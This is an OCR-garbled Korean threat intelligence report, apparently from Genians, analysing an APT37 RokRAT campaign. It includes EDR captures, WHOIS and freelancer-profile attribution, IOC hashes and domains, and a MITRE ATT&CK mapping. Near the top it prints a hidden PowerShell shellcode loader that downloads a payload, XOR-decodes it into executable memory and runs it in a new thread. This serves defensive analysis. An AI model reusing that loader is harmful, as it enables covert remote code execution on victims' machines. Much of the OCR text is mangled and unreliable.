O} CI2ZE5H CF2 XOR £33 &, PowerShell.exe Z2M|A0| 215} AlSH=IL|C},

start /min c:WWindowsWwSysWOW64¥wcmd.exe /c for /f "tokens=*" % %a
in ("dir C:WWindows¥SysWow64Ww\WindowsPowerShell#wv1.0W xrshell.exe
/s /b /od') do call % %a -windowstyle hidden -command "$red
="$yellow="""[Net.ServicePointManager]::SecurityProtocol=[Enum]::ToObje
ct([Net.SecurityProtocolType], 3072);$aa='[Dllimport("kernel32.dll")]public
static extern IntPtr GlobalAlloc(uint b,uint ¢);";$b=Add-Type
-MemberDefinition $aa -Name "AAA" -PassThru;$abab =
'[Dllimport("kernel32.dll")]public static extern bool VirtualProtect(IntPtr
a,uint b,uint c,out IntPtr d);'; $aab=Add-Type -MemberDefinition $abab
-Name "AAB" -PassThru;$c = New-Object

System.Net.WebClient; $d="

";$bb="'[Dllimport("kernel32.dll")]public static extern IntPtr
CreateThread(IntPtr a,uint b,IntPtr ¢,IntPtr d,uint e,IntPtr f);";$ccc=Add-Type
-MemberDefinition $bb -Name "BBB"
-PassThru;$ddd="'[Dllimport("kernel32.dll")]public static extern IntPtr
WaitForSingleObject(IntPtr a,uint b);";$fff=Add-Type -MemberDefinition
$ddd -Name "DDD" -PassThru;$e=112;do { try { $c.Headers["user-agent"] =
"connnecting...";$xmpw4=%$c.DownloadData($d);$x0 =
$b::GlobalAlloc(0x0040, $xmpw4.Length+0x100);$old =
0;%$aab::VirtualProtect($x0, $xmpw4.Length+0x100, 0x40, [ref]$old);for ($h
= 1,;%h -It $xmpw4 .Length;$h++)
{[System.Runtime.InteropServices.Marshal]::WriteByte($x0, $h-1,
($xmpw4[$h] -bxor $xmpw4[0]) ):}itry{throw
1;}catch{$handle=$ccc::CreateThread(0,0,$x0,0,0,0);$fff::WaitForSingleObj
ect($handle, 500%*1000);};$e=222:}catch{sleep 11;$e=112;}}while($e -eq
112);""";$chemble="""""";for($i=0;$i -le
$yellow.Length-2;$i=$i+2){$MMOMM=%yellow[$i]+$yellow[$i+1];$chembl
e= $chemble+[char]([convert]::toint16($MMOMM, 16));};Invoke-Command
-ScriptBlock ([Scriptblock]::Create($chemble));";Invoke-Command
-ScriptBlock ([Scriptblock]::Create($red));while(true){}"
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O PowerShell.exe Z2MA0| == H0|&|= ROKRAT AHIZEZ HFE 0|52}
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Oofld AdgREE Al 58 S7HE AL UL 9/ 24 EOMO|ME CHE B AS LT

SIOIMEIA S APRISH APT37 52 At
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SOt IP FAE 2Ol 4~ JGLIC
outgoing
DESKTOP Vst \ o m et (] _ | = (83 v
° B =
o HEQ3 Az F=
= o e
Process Name poviershellexe @
DNs Name  dldropboxusercontentcom
x%lﬁrpeﬂ:.[egse Protocol @
e
‘ 5 siodule event =
B : -
zst : hevem Detect Type
4( Teg
o CustomTag 27
, PO EE Ia:
282310.bat K =X N2 2023-12-19 1327:31
® ® =X AT EZ» oot
e LB ]
------ ED
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5.3. C2 oz} SALE 2 2| HiS
a2 SZ2sH4 LT

O FZFAHO{(C2) MY QlzZate| L 20222t 2023H H|%§ AE S2EHS
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O DOCX & mUS Solf 30| +HE 2ol 32 =2 O|=[uS|et g2
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https://www.kingsoft.com/
https://en.wikipedia.org/wiki/Namecheap
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Domain Name: MS-OFFICES[.]COM
Registrar URL: http://www.netearthone.com
Updated Date: 2023-11-23T04:05:10Z
Creation Date: 2022-10-24T03:42:547
Registrar Registration Expiration Date: 2023-10-24T03:42:547
Registrar: NetEarth One, Inc.

Registrant Name: Sun Yong

Registrant Organization: Kingsoft Office
Registrant Street: Anmin Street 19
Registrant City: Longjin

Registrant State/Province: Jilin

Registrant Postal Code: 133000

Registrant Country: CN

Registrant Phone: +86.17643382258
Registrant Email: sy131223@163.com

[HE 5-5] ms-offices[.]Jcom =0 S22} ZE

O S20| A= 'Sun Yong'O|21t O|HY 'sy131223@163.com' FA°| &
ATERI0] OfRAY SeHEQ!I Ze|ghX (Freelancer) AIOIEO| 7IHUE AS )
UE LTt

" freelancer How It Works Browse Jobs Log In Sign Up

o

—~

Suny. @Sy1 31223 7 Contact Sun Y. about your job
SENIOR REVERSE ENGINEER

00O reviews) @ llllllllloo D

N/A Jobs Completed N/A On Budget

Hire Sun Y.

Log in to discuss any details over chat

/i
N/A On Time N/A Repeat Hire Rate ]
Verifications
+ Strong initiative, problem solving, and critical thinking skills

+ Demonstrated experience reverse engineering and analyzing binaries of various types including:
%86, x64, ARM (32 and 64 bit), C, C++, .NET, and Delphi

+ Strong understanding of the PE file format and experience parsing structured or unstructured data

Preferred Freelancer

Identity Verified
+ Excellent writing and communication skill
+ Demonstrated experience writing code (C, C++, Python, Perl, Java, etc.) G Payment Verified v
+ Proven experience with IDA-Pro, Debuggers, and Network Traffic Analysis
[l $55USD/hour + Demonstrated experience using Commercial (IDA Pro, Hex-Rays, WinDbg, etc.) and Open Source €, Phone Verified v
Bl seoul, China (OllyDbg, Radare, GDB, etc.) malware analysis tools 2 Email Verified v

It's currently 9:16 AM here Facebook Connected

Joined April 19, 2022

0 Recommendations
Top Skills

FREELANCER > CPROGRAMMERS > CHINA > SUNY. C Programming

C++ Programming
Reviews View sy131223's full profile

Reverse Engineering

(13} 5-9] Ze[aiM AtO[EO]| 270E ofH

15

Freelancer
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https://www.freelancer.com/
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~ TianLing0315 @TianLing0315
Senior Full Stack Web & Mobile Developer

o1 TianLing0315
about your job

[l $55UsD / hour
B Seoul, China

It's currently 11:00 AM
here
Joined April 19,2022

0 Recommendations

nalysis

LY/ sunY.@sy131223
SENIOR REVERSE ENGINEER

0.0 (0 reviews ) Qoo @ ox Hire v 0.0 (0 reviews ) Qo0 Dox
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6. A= gl C=24H (Conclusion)

6.1. Genian EDR A &2 S3t &1&
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Threat Intelligence Report

[<]
A\ |EXPLORE.EXE
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SEEEN gy 2HAE 222320

7z ds

x| RIE

R0

= CWProgram Files (x86)Internet Explorerw|EXPLORE.EXE
LORE.EXE «
-12-18 10:42:10

7} 2023-12-13 14:46:16
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oy =2 A

o dmy He

les (xB86)¥: net Exploreri¥| EXPLORE.EXE
net Exj \ol’e WIEXPLORE.EXE

10 CHar o|afolel BfZ] O CHE £ 24 Genjan EDR
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https://www.genians.co.kr/products/genian-edr
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process
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Explorer#{EXPLORE EXE
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Path C:
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NetworkConnect @

Process Name Hwpexe B
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Protocol
parent process 2 hetwork event @
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Genians Threat Intelligence Report

7. 2 25| A|&E (Indicator of Compromise)
7.1. MD5 Hash
2FOA67B719D8303COEC7CCO057ED8411
7F3A30525B9324A2AEB32A9018DFO44F
28D25A4021536394FD890C4B6D9B5551
54B3AA4B83E410F4BF28368D59A0711B
84792F6440BF11FFFOE1CFDBD34ACA3C
361237B6B385874F02F3724AE50D 1522
AOTFAC2E45ECF0339356532B44C09BF8
AFS5BBAB33F934DCO16FCT1AAOD910820E
D1DC2DB2956803DE7EEF7A76 A6 AC5CB2
D6080CC6BAD2A70CF21F84147C58BCA1
E40054EFF2A100D2991C913558C93910
ESA1T0DF3734802A63D6F10A63FFO054C
E7FO3894AD35E34FB22C11354C4CE2DC
E26422BA7ETEED4481E9389806E798C3
EEADFCCCB6D95DC04D81F68AE7865F8B
F264F6BFAO9A6305865F08BDES7BIOFDS8

7.2. Domain Names
offlinedocument].]site
documentoffice[.]club
smartprivacyc[.]Jcom

sharingdocument[.]Jone
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8. 32 Z|HE (Indicator of Attack)

8.1.

MITRE ATT&CK Matrix
Tactic Technique Description
Reconnaissance |11598.002 Phishing for Information:

Spearphishing Attachment

Establish Accounts:

Resource L Email Accounts
Development Acquire Infrastructure:
11 00 .
Web Services
Phishing:
. T1266.001 Spearphishing Attachment
Initial Access Phishing:
ishing:
Llsnie Spearphishing via Service
Command and Scripting Interpreter:
e PowerShell
Command and Scripting Interpreter:
11053.003 Windows Command Shell
Execution 71059 007 Commapd and Scripting Interpreter:
— JavaScript
1203 Exploitation for Client Execution
11204.002  |User Execution:
Malicious File
Process Injection:
T1025.002 Portable Executable Injection
Defense Evasion Indicator Removal:
L i File Deletion
T1140 Deobfuscate/Decode Files or Information
) 71082 System Information Discovery
Discovery ) ) .
1083 File and Directory Discovery
Collection T1005 Data from Local System
Command and Application Layer Protocol:
Control L Web Protocols
11041 Exfiltration Over C2 Channel
Exfiltration 11567 002 Exfiltration Over Web Service:

Exfiltration to Cloud Storage

Genians Security Center
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https://attack.mitre.org/techniques/T1598/002/
https://attack.mitre.org/techniques/T1585/002/
https://attack.mitre.org/techniques/T1583/006/
https://attack.mitre.org/techniques/T1566/001/
https://attack.mitre.org/techniques/T1566/003/
https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/techniques/T1059/003/
https://attack.mitre.org/techniques/T1059/007/
https://attack.mitre.org/techniques/T1203/
https://attack.mitre.org/techniques/T1204/002/
https://attack.mitre.org/techniques/T1055/002/
https://attack.mitre.org/techniques/T1070/004/
https://attack.mitre.org/techniques/T1140/
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1083/
https://attack.mitre.org/techniques/T1005/
https://attack.mitre.org/techniques/T1071/001/
https://attack.mitre.org/techniques/T1041/
https://attack.mitre.org/techniques/T1567/002/
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9. 2t11 ZI& (Reference)
[EH=] ‘OlEh! ZHAL OLR 3t QP TIT R 2 At [00]4+A24]
‘P28t docx MM E M ZO|H - ALS|ASHH ALO|H] 22 'S [OF0|FA24]

Internet Explorer 0-day exploited by North Korean actor APT37 [Google]

JH

The Unintentional Leak: A glimpse into the attack vectors of APT37 [Zscaler]
213 Il (x Ink)S Edll SEE|= RokRAT 2 P E @ RedEyes(ScarCruft) [Ahnlab]
SOIOIHEIH| S ALRISHEAPT37 =224 At [Genians]

7(

S EH A QAN A ATM A H oA BTH [KISA]
St macOS O|2Z= 21 APT37 224 =2t [Genians]

SHELY CHE 20k ZARE AUk D515 BitB 22 S2t [Genians]
OfAM OLE ZHA7F AfQl=l 5= 2 M 29| [Ahnlab]
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https://www.inews24.com/view/1534369
https://www.inews24.com/view/1538154
https://blog.google/threat-analysis-group/internet-explorer-0-day-exploited-by-north-korean-actor-apt37/
https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
https://asec.ahnlab.com/ko/51628/
https://genians.co.kr/hubfs/blogfile/threat_intelligence_report_apt37.pdf
https://www.kisa.or.kr/402/form?postSeq=2298&lang_type=KO
https://www.genians.co.kr/hubfs/blogfile/20230620_threat_inteligence_report_apt37_macos.pdf
https://www.genians.co.kr/hubfs/blogfile/20230901_threat_inteligence_report_BitB.pdf
https://asec.ahnlab.com/ko/58043/

